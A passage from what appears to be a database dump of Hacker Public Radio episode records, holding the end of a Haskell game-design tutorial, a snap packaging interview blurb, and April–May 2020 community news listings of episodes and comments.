research. Each of the categories is further divided into sub-categories. Only <code>EngineeringSubField</code> is shown below, but other two are similarly divided.</p>\r\n<pre><code>data ResearchCategory =\r\n    Engineering EngineeringSubField\r\n    | NaturalScience NaturalScienceSubField\r\n    | SocialScience SocialScienceSubField\r\n    deriving (Show, Read, Eq)\r\n\r\ndata EngineeringSubField =\r\n    Industry\r\n    | Materials\r\n    | Propulsion\r\n    | FieldManipulation\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p><code>ResearchScore</code> is measure of how big some research is. It has type parameter <code>a</code> that is used to further quantify what kind of <code>ResearchScore</code> we’re talking about.</p>\r\n<pre><code>newtype ResearchScore a = ResearchScore { unResearchScore :: Int }\r\n    deriving (Show, Read, Eq, Ord, Num)</code></pre>\r\n<p><code>TotalResearchScore</code> is record of three different types of researches. I’m not sure if I should keep it as a record of three fields or if I should change it so that only one of those values can be present at any given time.</p>\r\n<pre><code>data TotalResearchScore a = TotalResearchScore\r\n    { totalResearchScoreEngineering :: ResearchScore EngineeringCost\r\n    , totalResearchScoreNatural :: ResearchScore NaturalScienceCost\r\n    , totalResearchScoreSocial :: ResearchScore SocialScienceCost\r\n    }\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p>Following singleton values are used with <code>ResearchScore</code> and <code>TotalResearchScore</code> to quantify what kind of value we’re talking about.</p>\r\n<pre><code>data EngineeringCost = EngineeringCost\r\n    deriving (Show, Read, Eq)\r\n\r\ndata NaturalScienceCost = NaturalScienceCost\r\n    deriving (Show, Read, Eq)\r\n\r\ndata SocialScienceCost = SocialScienceCost\r\n    deriving (Show, Read, Eq)\r\n\r\ndata ResearchCost = ResearchCost\r\n    deriving (Show, Read, Eq)\r\n\r\ndata ResearchProduction = ResearchProduction\r\n    deriving (Show, Read, Eq)\r\n\r\ndata ResearchLeft = ResearchLeft\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p>Finally there’s <code>Research</code>, which is a record that uses many of the types introduced earlier. It describes what <code>Technology</code> is unlocked upon completion, what’s the cost is and if there are any technologies that have to have been researched before this research can start. The tier of research isn’t currently used for anything, but I have vague plans what to do about it in the future.</p>\r\n<pre><code>data Research = Research\r\n    { researchName :: Text\r\n    , researchType :: Technology\r\n    , researchCategory :: ResearchCategory\r\n    , researchAntecedents :: [Technology]\r\n    , researchCost :: TotalResearchScore ResearchCost\r\n    , researchTier :: ResearchTier\r\n    }\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<h2 id=\"tech-tree\">Tech tree</h2>\r\n<p>Putting all this together, we can define a list of <code>Research</code>. Since finding an entry from this list based on research type of it is such a common operation, we also define another data structure for this specific purpose. <code>Map</code> in other programming languages is often known as dictionary, associative array or hash map. It stores key-value - pairs. In our case <code>Technology</code> is used as key and <code>Research</code> as value. We define it based on the list previously defined:</p>\r\n<pre><code>techMap :: Map.Map Technology Research\r\ntechMap = Map.fromList $ (\\x -&gt; (researchType x, x)) &lt;$&gt; unTechTree techTree</code></pre>\r\n<p>Next time we’ll look into how to actually use all these types and data that were defined.</p>\r\n',364,107,0,'CC-BY-SA','Haskell',0,0,1),
(2811,'2019-05-13','Interview with Alan Pope',5387,'In this episode, Yannick talks with Alan Pope about snaps, snapcraft and all things related','<p>A few years ago, when you wanted to install a package on your Linux system, you had to grab the source code, and the nightmare began. But nowadays, this is over. You have deb files, and snaps, and flatpacks, and many other package formats available. On this episode, I was joined by Alan Pope, from Canonical, to talk about one of them in particular : snaps.</p>',370,78,0,'CC-BY-SA','ubuntu, snap, snapcraft, flatpack, linux, appimage, alan pope, popey',0,0,1),
(3066,'2020-05-04','HPR Community News for April 2020',2508,'Dave talks about shows released and comments posted in April 2020','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=386\" target=\"_blank\">DanNixon</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3043\" target=\"_blank\">3043</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-04-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3043\" target=\"_blank\">How I record for HPR</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3044\" target=\"_blank\">3044</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-04-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3044\" target=\"_blank\">mocp snooze tip</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3045\" target=\"_blank\">3045</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-04-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3045\" target=\"_blank\">OSS compliance with privacy by default and design</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3046\" target=\"_blank\">3046</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-04-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3046\" target=\"_blank\">HPR Community News for March 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3047\" target=\"_blank\">3047</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-04-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3047\" target=\"_blank\">The COVID-19 Work From Home Stream - Day 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3048\" target=\"_blank\">3048</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-04-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3048\" target=\"_blank\">Alternatives to toilet paper</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3049\" target=\"_blank\">3049</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-04-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3049\" target=\"_blank\">What computers taught me about reality</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3050\" target=\"_blank\">3050</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-04-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3050\" target=\"_blank\">Linux Inlaws S01E04 What\'s in a name</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3051\" target=\"_blank\">3051</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-04-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3051\" target=\"_blank\">The COVID-19 Work From Home Stream - Day 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3052\" target=\"_blank\">3052</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-04-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3052\" target=\"_blank\">Locating computers on a network</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3053\" target=\"_blank\">3053</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-04-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3053\" target=\"_blank\">AudioBookClub 17 - Blood Witness</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3054\" target=\"_blank\">3054</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-04-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3054\" target=\"_blank\">Coronavirus Thoughts</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3055\" target=\"_blank\">3055</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-04-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3055\" target=\"_blank\">Advice to new Fediverse administrators and developers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3056\" target=\"_blank\">3056</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-04-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3056\" target=\"_blank\">Jitsi</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3057\" target=\"_blank\">3057</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-04-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3057\" target=\"_blank\">Formal verification with Coq</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3058\" target=\"_blank\">3058</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-04-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3058\" target=\"_blank\">The COVID-19 Work From Home Stream - Day 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3059\" target=\"_blank\">3059</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-04-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3059\" target=\"_blank\">A quick intro to Snapcast</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=386\" target=\"_blank\">DanNixon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3060\" target=\"_blank\">3060</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-04-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3060\" target=\"_blank\">Running a local imap server</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3061\" target=\"_blank\">3061</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-04-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3061\" target=\"_blank\">Parental Controls With Mike Ivy</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3062\" target=\"_blank\">3062</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-04-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3062\" target=\"_blank\">Vassal: How to play board games while remote</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3063\" target=\"_blank\">3063</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-04-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3063\" target=\"_blank\">Pens, pencils, paper and ink - 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3064\" target=\"_blank\">3064</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-04-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3064\" target=\"_blank\">How I got started in Electronics</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 24 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 4 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3027#comments\" target=\"_blank\">hpr3027</a></strong>\n(2020-03-10) \"<em>What is quantum computing and why should we care?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=379\" target=\"_blank\">mightbemike</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3027#1\" target=\"_blank\">Comment 1</a>:\nMongo on 2020-04-04:\n\"very interesting talk\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3032#comments\" target=\"_blank\">hpr3032</a></strong>\n(2020-03-17) \"<em>piCore on a Raspberry Pi 1 Model B</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3032#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2020-04-15:\n\"Re: Tiny Core maintainer name\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3032#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2020-04-18:\n\"Ridiculously tiny really\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3034#comments\" target=\"_blank\">hpr3034</a></strong>\n(2020-03-19) \"<em>How to bridge Freenode IRC rooms to Matrix.org</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3034#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2020-04-12:\n\"appservice-irc\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 20 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3043#comments\" target=\"_blank\">hpr3043</a></strong>\n(2020-04-01) \"<em>How I record for HPR</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3043#1\" target=\"_blank\">Comment 1</a>:\nthelovebug on 2020-04-02:\n\"Bass and Treble\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3046#comments\" target=\"_blank\">hpr3046</a></strong>\n(2020-04-06) \"<em>HPR Community News for March 2020</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3046#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2020-04-17:\n\"First-class ranting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3048#comments\" target=\"_blank\">hpr3048</a></strong>\n(2020-04-08) \"<em>Alternatives to toilet paper</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3048#1\" target=\"_blank\">Comment 1</a>:\nmcnalu on 2020-04-08:\n\"The affected episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3048#2\" target=\"_blank\">Comment 2</a>:\nBookewyrmm on 2020-04-09:\n\"A word of caution\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3048#3\" target=\"_blank\">Comment 3</a>:\ntuturto on 2020-04-21:\n\"Speaking of romans\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3050#comments\" target=\"_blank\">hpr3050</a></strong>\n(2020-04-10) \"<em>Linux Inlaws S01E04 What\'s in a name</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3050#1\" target=\"_blank\">Comment 1</a>:\nAhuka on 2020-04-10:\n\"Great sketch!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3051#comments\" target=\"_blank\">hpr3051</a></strong>\n(2020-04-13) \"<em>The COVID-19 Work From Home Stream - Day 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3051#1\" target=\"_blank\">Comment 1</a>:\nbrian in ohio on 2020-04-14:\n\"electoral college\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3052#comments\" target=\"_blank\">hpr3052</a></strong>\n(2020-04-14) \"<em>Locating computers on a network</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3052#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2020-04-22:\n\"Very useful, thanks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3053#comments\" target=\"_blank\">hpr3053</a></strong>\n(2020-04-15) \"<em>AudioBookClub 17 - Blood Witness</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3053#1\" target=\"_blank\">Comment 1</a>:\nlostnbronx on 2020-04-08:\n\"Welcom back to the Audio Book Club!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3054#comments\" target=\"_blank\">hpr3054</a></strong>\n(2020-04-16) \"<em>Coronavirus Thoughts</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3054#1\" target=\"_blank\">Comment 1</a>:\nbrian in ohio on 2020-04-18:\n\"politics\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3054#2\" target=\"_blank\">Comment 2</a>:\nTelford Tendys on 2020-04-23:\n\"Freedom, Governance and Pandemic\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3054#3\" target=\"_blank\">Comment 3</a>:\nbrian in ohio on 2020-04-24:\n\"clarification\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3054#4\" target=\"_blank\">Comment 4</a>:\nAhuka on 2020-04-24:\n\"Herd immunity\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3056#comments\" target=\"_blank\">hpr3056</a></strong>\n(2020-04-20) \"<em>Jitsi</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3056#1\" target=\"_blank\">Comment 1</a>:\nAhuka on 2020-04-20:\n\"Very timely\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3056#2\" target=\"_blank\">Comment 2</a>:\nharvhat on 2020-04-21:\n\"Why talk about Jitsi\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3056#3\" target=\"_blank\">Comment 3</a>:\njustme on 2020-04-21:\n\"I really enjoyed this episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3056#4\" target=\"_blank\">Comment 4</a>:\nMike Ray on 2020-04-21:\n\"Re: Why talk about jitsi?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3056#5\" target=\"_blank\">Comment 5</a>:\nAhuka on 2020-04-23:\n\"Why listen?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3056#6\" target=\"_blank\">Comment 6</a>:\nMike Ray on 2020-04-23:\n\"Re: Why listen?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3056#7\" target=\"_blank\">Comment 7</a>:\ncrvs on 2020-04-30:\n\"Re: Why listen?\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-April/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-April/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a></b></p>\n<p>Over the period tags and/or summaries have been added to 17 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3086,'2020-06-01','HPR Community News for May 2020',3253,'Dave and Ken talk about shows released and comments posted in May 2020','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3065\" target=\"_blank\">3065</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-05-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3065\" target=\"_blank\">The case for the unattributed message</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3066\" target=\"_blank\">3066</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-05-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3066\" target=\"_blank\">HPR Community News for April 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3067\" target=\"_blank\">3067</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-05-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3067\" target=\"_blank\">Getting my Python3 code working in Python2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3068\" target=\"_blank\">3068</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-05-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3068\" target=\"_blank\">Keeping track of downloads in Elm</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3069\" target=\"_blank\">3069</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-05-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3069\" target=\"_blank\">Linux Inlaws S01E05 Porn and Skynet</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3070\" target=\"_blank\">3070</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-05-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3070\" target=\"_blank\">making vim xdg compatible</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=385\" target=\"_blank\">crvs</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3071\" target=\"_blank\">3071</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-05-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3071\" target=\"_blank\">Bash snippet - quotes inside quoted strings</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3072\" target=\"_blank\">3072</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-05-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3072\" target=\"_blank\">The joy of pip-tools and pyenv-virtualenv</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3073\" target=\"_blank\">3073</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-05-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3073\" target=\"_blank\">Matchbox and Diecast Restoration</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3074\" target=\"_blank\">3074</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-05-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3074\" target=\"_blank\">For your consideration - Escape Pod</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3075\" target=\"_blank\">3075</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-05-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3075\" target=\"_blank\">Federated Blogging with WriteFreely</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3076\" target=\"_blank\">3076</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-05-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3076\" target=\"_blank\">Keep calm and Virion</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave 